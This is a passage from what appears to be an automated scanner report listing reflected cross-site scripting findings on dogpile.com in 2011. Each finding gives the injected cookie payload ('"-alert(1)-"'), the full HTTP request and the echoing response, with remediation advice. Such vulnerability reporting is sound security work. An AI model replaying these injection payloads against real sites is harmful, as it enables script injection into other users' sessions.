Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:12 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=fabc047e90564b3caea8c16a3af0cb01&CookieDomain=.dogpile.com868e6"-alert(1)-"815bb4494be

__VIEWSTATE=%2FwEPDwULLTEwNzYxNjAxNjBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYGBR5pY2VQYWdlJFNlYXJjaEJveFRvcCRxa3dzdWJtaXQFLmljZVBhZ2UkU2VhcmNoQm94VG9wJEFkdmFuY2VkU2VhcmNoV2ViJGluY2x1ZGUFLmljZV
...[SNIP]...

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=fabc047e90564b3caea8c16a3af0cb01&ActionId=60447a2b02554a509018c16a3af0cb01&CookieDomain=.dogpile.com868e6"-alert(1)-"815bb4494be; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:18:01 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:58:01 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:58:01 GMT; path=/
Set-Cookie: wsTemp=bigIP+3808990474.20480.0000+cacheId+ms21:1301677098680; path=/
Set-Cookie: wsRecent=site%3axss.cx,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:58:01 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 65245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=fabc047e90564b3caea8c16a3af0cb01&ActionId=60447a2b02554a509018c16a3af0cb01&CookieDomain=.dogpile.com868e6"-alert(1)-"815bb4494be; expires=Fri, 01 Apr 2011 17:18:01 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.22. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Dark%20Sites/qlnk=1/rfcp=RightNav/rfcid=302360/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Dark%20Sites/qlnk=1/rfcp=RightNav/rfcid=302360/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17e70"-alert(1)-"8009d3e9d2 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Dark%20Sites/qlnk=1/rfcp=RightNav/rfcid=302360/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:13 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3808990474.20480.0000+cacheId+ms21:1301678113917; wsRecent=Review+Sites,Web,Relevance,&site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=afded22df52249fea4b3c16a3af0cb01&ActionId=03e0e226b781481fa972c16a3af0cb01&CookieDomain=.dogpile.com17e70"-alert(1)-"8009d3e9d2

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=03e0e226b781481fa972c16a3af0cb01&ActionId=d011953374bb4c588ac4c16a3af0cb01&CookieDomain=.dogpile.com17e70"-alert(1)-"8009d3e9d2; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:35:42 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:42 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:15:42 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:15:41 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45950

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=03e0e226b781481fa972c16a3af0cb01&ActionId=d011953374bb4c588ac4c16a3af0cb01&CookieDomain=.dogpile.com17e70"-alert(1)-"8009d3e9d2; expires=Fri, 01 Apr 2011 17:35:42 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.23. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Review%20Sites/qlnk=1/rfcp=RightNav/rfcid=302357/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Review%20Sites/qlnk=1/rfcp=RightNav/rfcid=302357/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5784a"-alert(1)-"4be09a1635c was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Review%20Sites/qlnk=1/rfcp=RightNav/rfcid=302357/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:52 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301678093005; wsRecent=site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=8a9366cfe41848d795bec16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=c1a8f04152fd49d4bbd5c16a3af0cb01&ActionId=afded22df52249fea4b3c16a3af0cb01&CookieDomain=.dogpile.com5784a"-alert(1)-"4be09a1635c

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=8a9366cfe41848d795bec16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=afded22df52249fea4b3c16a3af0cb01&ActionId=088007e032a74715904bc16a3af0cb01&CookieDomain=.dogpile.com5784a"-alert(1)-"4be09a1635c; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:35:34 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:34 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:15:34 GMT; path=/
Set-Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301678152859; path=/
Set-Cookie: wsRecent=Review+Sites,Web,Relevance,&Submit+Site,Web,Relevance,&site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:15:34 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 159313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=8a9366cfe41848d795bec16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=afded22df52249fea4b3c16a3af0cb01&ActionId=088007e032a74715904bc16a3af0cb01&CookieDomain=.dogpile.com5784a"-alert(1)-"4be09a1635c; expires=Fri, 01 Apr 2011 17:35:34 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.24. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Submit%20Site/qlnk=1/rfcp=RightNav/rfcid=302362/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Submit%20Site/qlnk=1/rfcp=RightNav/rfcid=302362/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35970"-alert(1)-"f277aa05b72 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Submit%20Site/qlnk=1/rfcp=RightNav/rfcid=302362/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3808990474.20480.0000+cacheId+ms21:1301678113917; wsRecent=Review+Sites,Web,Relevance,&site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:16 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=14be2b84e19340ef829ac16a3af0cb01&ActionId=f99d27d203c74389a638c16a3af0cb01&CookieDomain=.dogpile.com35970"-alert(1)-"f277aa05b72

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f99d27d203c74389a638c16a3af0cb01&ActionId=99bbb00780eb47fda590c16a3af0cb01&CookieDomain=.dogpile.com35970"-alert(1)-"f277aa05b72; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:35:31 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:31 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:15:31 GMT; path=/
Set-Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301678144640; path=/
Set-Cookie: wsRecent=Submit+Site,Web,Relevance,&Review+Sites,Web,Relevance,&site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:15:31 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 159334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=40db304f9bea4e6394bcc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f99d27d203c74389a638c16a3af0cb01&ActionId=99bbb00780eb47fda590c16a3af0cb01&CookieDomain=.dogpile.com35970"-alert(1)-"f277aa05b72; expires=Fri, 01 Apr 2011 17:35:31 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.25. http://www.dogpile.com/dogpile_other/ws/results/Web/Submit%20Site/1/302362/RightNav/Relevance/iq=true/zoom=off/qlnk=1/_iceUrlFlag=7 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/results/Web/Submit%20Site/1/302362/RightNav/Relevance/iq=true/zoom=off/qlnk=1/_iceUrlFlag=7

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93152"-alert(1)-"816df919a4f was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/results/Web/Submit%20Site/1/302362/RightNav/Relevance/iq=true/zoom=off/qlnk=1/_iceUrlFlag=7?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3808990474.20480.0000+cacheId+ms21:1301678113917; wsRecent=Review+Sites,Web,Relevance,&site%3axss.cx,Web,Relevance,&april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=5d61898cfb714cd0bcc4c16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=14be2b84e19340ef829ac16a3af0cb01&ActionId=f99d27d203c74389a638c16a3af0cb01&CookieDomain=.dogpile.com93152"-alert(1)-"816df919a4f; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:18 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=5d61898cfb714cd0bcc4c16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f99d27d203c74389a638c16a3af0cb01&ActionId=6c2d543d2bdb42469455c16a3af0cb01&CookieDomain=.dogpile.com93152"-alert(1)-"816df919a4f; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:35:54 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:54 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:15:54 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:15:54 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45969

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=5d61898cfb714cd0bcc4c16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f99d27d203c74389a638c16a3af0cb01&ActionId=6c2d543d2bdb42469455c16a3af0cb01&CookieDomain=.dogpile.com93152"-alert(1)-"816df919a4f; expires=Fri, 01 Apr 2011 17:35:54 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.26. http://www.dogpile.com/dogpile_rss/web/GE+Zero+Taxes [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/web/GE+Zero+Taxes

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7886"-alert(1)-"78b4217b136 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/web/GE+Zero+Taxes HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:02 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3758658826.20480.0000+cacheId+ms18:1301676962746; wsRecent=MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=86d1546926784d5188d2c16a3af0cb01&CookieDomain=.dogpile.comc7886"-alert(1)-"78b4217b136

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=b537cbedf58a457f8f53c16a3af0cb01&CookieDomain=.dogpile.comc7886"-alert(1)-"78b4217b136; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:19:22 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:59:22 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:59:22 GMT; path=/
Set-Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677176027; path=/
Set-Cookie: wsRecent=GE+Zero+Taxes,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:59:23 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 160992

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=b537cbedf58a457f8f53c16a3af0cb01&CookieDomain=.dogpile.comc7886"-alert(1)-"78b4217b136; expires=Fri, 01 Apr 2011 17:19:22 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.27. http://www.dogpile.com/dogpile_rss/web/Go+Daddy+CEO+Elephant [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/web/Go+Daddy+CEO+Elephant

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66b73"-alert(1)-"6a66de51dba was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/web/Go+Daddy+CEO+Elephant HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=86d1546926784d5188d2c16a3af0cb01&CookieDomain=.dogpile.com66b73"-alert(1)-"6a66de51dba; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:02 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3758658826.20480.0000+cacheId+ms18:1301676962746; wsRecent=MLB+Schedule,Web,Relevance,

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=3d0f54f01437428e97eec16a3af0cb01&CookieDomain=.dogpile.com66b73"-alert(1)-"6a66de51dba; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:33 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:33 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:33 GMT; path=/
Set-Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676993418; path=/
Set-Cookie: wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:33 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 162009

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
